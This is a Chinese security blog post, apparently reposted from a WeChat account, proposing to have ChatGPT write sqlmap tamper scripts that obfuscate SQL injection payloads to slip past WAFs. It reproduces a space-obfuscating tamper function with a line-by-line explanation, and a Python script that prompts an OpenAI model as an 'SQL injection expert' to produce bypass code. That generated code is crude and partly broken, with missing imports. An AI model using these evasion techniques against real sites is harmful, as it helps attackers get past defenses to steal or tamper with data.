AI自动编写Sqlmap的tamper的实现计划

admin 2024年11月21日13:09:40评论5 views字数 5202阅读17分20秒阅读模式

有兴趣的可以加入微信群一起讨论

AI自动编写Sqlmap的tamper的实现计划

在当今网络安全领域,针对 Web 应用的 SQL 注入攻击仍然是一个常见的威胁。为了应对不同数据库和 WAF(Web 应用防火墙)规则的多样性,Sqlmap 提供了 tamper(篡改)脚本功能,可以在注入请求中插入特定的混淆逻辑,从而绕过检测规则。然而,对于一些复杂环境,编写高效的 tamper 脚本需要熟练的 SQL 注入、数据库和编程知识。这也是自动化生成 tamper 脚本的需求日益迫切的原因。

AI自动编写Sqlmap的tamper的实现计划

本文将探讨如何利用 AI 自动生成适应不同场景的 tamper 脚本,以提升 Sqlmap 在面对多样化环境时的绕过能力。

下面这是一个正常的tamper

 blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')    retVal = payload    if payload:        retVal = ""        quote, doublequote, firstspace, end = False, False, False, False        for i in xrange(len(payload)):            if not firstspace:                if payload[i].isspace():                    firstspace = True                    retVal += random.choice(blanks)                    continue            elif payload[i] == ''':                quote = not quote            elif payload[i] == '"':                doublequote = not doublequote            elif payload[i] == '#' or payload[i:i + 3] == '-- ':                end = True            elif payload[i] == " " and not doublequote and not quote:                if end:                    retVal += random.choice(blanks[:-1])                else:                    retVal += random.choice(blanks)                continue            retVal += payload[i]    return retVal

如下为代码分析

这段代码的主要目的是通过将空格和一些特殊字符替换为随机编码,以实现绕过一些防火墙和 WAF 的检测。这种技术在 SQL 注入绕过中较为常见。下面是对代码的逐行分析:  1.  变量定义:blanks = ('%01''%02''%03''%04''%05''%06''%07''%08''%09''%0B''%0C''%0D''%0E''%0F''%0A')该元组 blanks 定义了几种 URL 编码的空白字符。此处的编码包括 %01 到 %0F 和 %0A,这些编码会用来替换原有的空格,达到混淆目的。  2.  初始变量设置:retVal = payload将输入 payload 赋值给 retVal。之后,如果 payload 存在,则 retVal 被重置为空字符串。  3.  初步条件检查:if payload:    retVal = ""如果 payload 存在,则将 retVal 置为空字符串,准备开始生成新的输出。  4.  状态变量:quote, doublequote, firstspace, end = False, False, False, False这些布尔变量用于跟踪特定字符的状态:quote: 检测单引号 ' 是否打开。doublequote: 检测双引号 " 是否打开。firstspace: 检测是否已处理第一个空格。end: 检测是否出现注释标识符 # 或 -- 。  5.  主循环遍历 payload:for i in xrange(len(payload)):遍历 payload 的每个字符,根据字符的类型执行不同的处理。  6.  空格替换逻辑:if not firstspace:    if payload[i].isspace():        firstspace = True        retVal += random.choice(blanks)        continue如果 firstspace 为 False 且当前字符为空格,则随机选择一个 blanks 编码来替换空格,标记 firstspace 为 True,然后跳过当前循环。  7.  引号状态更新:elif payload[i] == ''':    quote = not quoteelif payload[i] == '"':    doublequote = not doublequote处理单引号和双引号。如果遇到一个引号字符,将对应的状态反转。  8.  注释检测:elif payload[i] == '#' or payload[i:i + 3] == '-- ':    end = True检测注释符号 # 或 -- ,若检测到,则设置 end 为 True,表示剩余部分为注释内容。  9.  空格混淆:elif payload[i] == " " and not doublequote and not quote:    if end:        retVal += random.choice(blanks[:-1])    else:        retVal += random.choice(blanks)    continue  •  对非引号和非注释部分的空格进行混淆:  •  若 end 为 True(表示在注释部分),则随机选择 blanks(去除最后一个 %0A)的编码替换空格。  •  若 end 为 False,则使用 blanks 的任意编码替换空格。  10.  其他字符保持不变:retVal += payload[i]对于不满足以上条件的字符,直接将其添加到 retVal。  11.  返回值:return retVal最终返回处理后的 retVal。

1. 自动化需求的提出

在渗透测试过程中,针对不同的目标,安全人员经常需要编写特定的 tamper 脚本来绕过不同类型的安全防护系统。这不仅耗时,还需要高度的专业知识,而不同数据库、防火墙和环境的差异更增加了复杂性。如果能借助 AI 自动化生成 tamper 脚本,将大大提高效率和成功率。

2. AI 自动编写 Tamper 的基本思路

为了实现 AI 自动编写 tamper 脚本的功能,可以将任务分为几个关键步骤:

    1.    数据采集与环境分析

  • 采集常见数据库和 WAF 拦截规则的特征。

  • 识别目标环境的数据库类型、注入点和拦截机制,通过此信息训练 AI 模型。

    2.    训练模型生成 tamper 脚本

  • 选择合适的模型:以 NLP(自然语言处理)为基础的模型(如 GPT)适合处理代码生成任务,可用于 tamper 脚本的自动编写。

  • 输入输出设计:模型输入包含目标数据库类型、注入点特征和预期的绕过模式;输出为脚本代码。

  • 数据集准备:收集大量现有 tamper 脚本和成功的注入请求实例,作为训练数据集。
       

    3.    模型测试与优化

  • 通过真实环境测试和模拟环境的检测反馈,优化模型。

  • 对生成的脚本进行语法、功能和效果的校验,确保生成脚本能够实际绕过拦截。  

    4.    自动调试与微调

  • 将 AI 生成的初版 tamper 脚本在目标环境中测试,根据反馈结果动态调整参数和语法。

AI自动编写Sqlmap的tamper的实现计划

根据以上内容我们编写了如下脚本

import openaiimport os# 使用你的API Keyopenai.api_key = "你的API kyes"def get_tampered_payloads_rule(payload):    """    通过ChatGPT生成绕过防护的tamper规则,并根据SQLMap的规则要求生成适配的规则。    """    response = openai.ChatCompletion.create(        model="gpt-3.5-turbo",        messages=[            {"role": "system", "content": "你是一名SQL注入专家,专门生成绕过过滤器的SQL注入tamper代码。"},            {"role": "user", "content": f"请为以下payload生成符合SQLMap使用规则的tamper脚本: '{payload}'"}        ],        temperature=0.7,        max_tokens=200    )    # 解析ChatGPT返回的策略    strategies = response['choices'][0]['message']['content']    print("生成的tamper策略:n", strategies)    return strategiesdef generate_sqlmap_tamper_script(payload, filename="aitamper.py"):    """    生成SQLMap可用的tamper脚本文件,内容基于ChatGPT生成的规则。    """    # 获取生成的规则    tamper_rules = get_tampered_payloads_rule(payload)    # 创建SQLMap tamper脚本文件    with open(filename, "w", encoding="utf-8") as file:        file.write("# SQLMap tamper script - 自动生成的tamper脚本n")        file.write("# -*- coding: utf-8 -*-nn")        file.write("def tamper(payload):n")        file.write("    tampered_payload = payloadnn")        # 将生成的规则写入脚本        tamper_rules_lines = tamper_rules.splitlines()        for line in tamper_rules_lines:            file.write(f"    # {line}n")  # 添加注释说明            # 根据特定生成的规则追加不同的 tamper 操作(假设为伪代码形式)            if "URL编码" in line:                file.write(                    "    tampered_payload = urllib.parse.quote(tampered_payload)n")            elif "Base64" in line:                file.write("    import base64n")                file.write(                    "    tampered_payload = base64.b64encode(tampered_payload.encode()).decode()n")            elif "Unicode" in line:                file.write(                    "    tampered_payload = ''.join(f"\\u{{ord(c):04x}}" for c in tampered_payload)n")            elif "空白字符" in line:                file.write("    import randomn")                file.write(                    "    tampered_payload = ''.join(c + (' ' * random.randint(0, 2)) for c in tampered_payload)n")        file.write("    return tampered_payloadnn")    print(f"生成的tamper脚本已保存到文件 '{filename}' 中。")# 获取用户输入的payloadpayload = input("请输入您想要tamper的payload: ")# 生成SQLMap的Tamper脚本generate_sqlmap_tamper_script(payload, "aitamper.py")

代码说明    

  1. get_tampered_payloads_rule(payload):调用OpenAI API来生成特定于SQLMap的tamper规则,基于用户提供的payload。   

  2. generate_sqlmap_tamper_script:根据生成的规则创建一个符合SQLMap使用的tamper脚本文件(aitamper.py),其中包含适用于SQLMap的tamper规则。

  3. 生成的文件:在当前目录下生成aitamper.py文件,包含ChatGPT生成的策略,适配SQLMap。

运行脚本说明

  1. 运行脚本并输入payload(例如%20select%20)。

  2. ChatGPT会生成绕过防护的tamper规则。

  3. 这些规则会保存到aitamper.py中,直接符合SQLMap使用的格式。

结语:通过上述自动生成的 tamper 脚本,我们可以看到 AI 在 SQL 注入绕过技术中的应用潜力。借助 ChatGPT 等自然语言处理模型,我们能够根据不同的 payload 和绕过需求生成符合 SQLMap 使用规范的 tamper 脚本,大大提升了效率和适应性。这不仅能帮助渗透测试人员快速适配目标环境,还能降低编写自定义脚本的技术门槛。随着 AI 技术的发展,未来的自动化渗透测试工具可能会更加智能化和高效,为安全防护体系的建设带来更大的支持和保障。在复杂的网络安全对抗环境中,这种自动化工具的应用无疑将成为攻防领域的重要助力。

原文始发于微信公众号(实战安全研究):AI自动编写Sqlmap的tamper的实现计划

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月21日13:09:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   AI自动编写Sqlmap的tamper的实现计划https://cn-sec.com/archives/3403167.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息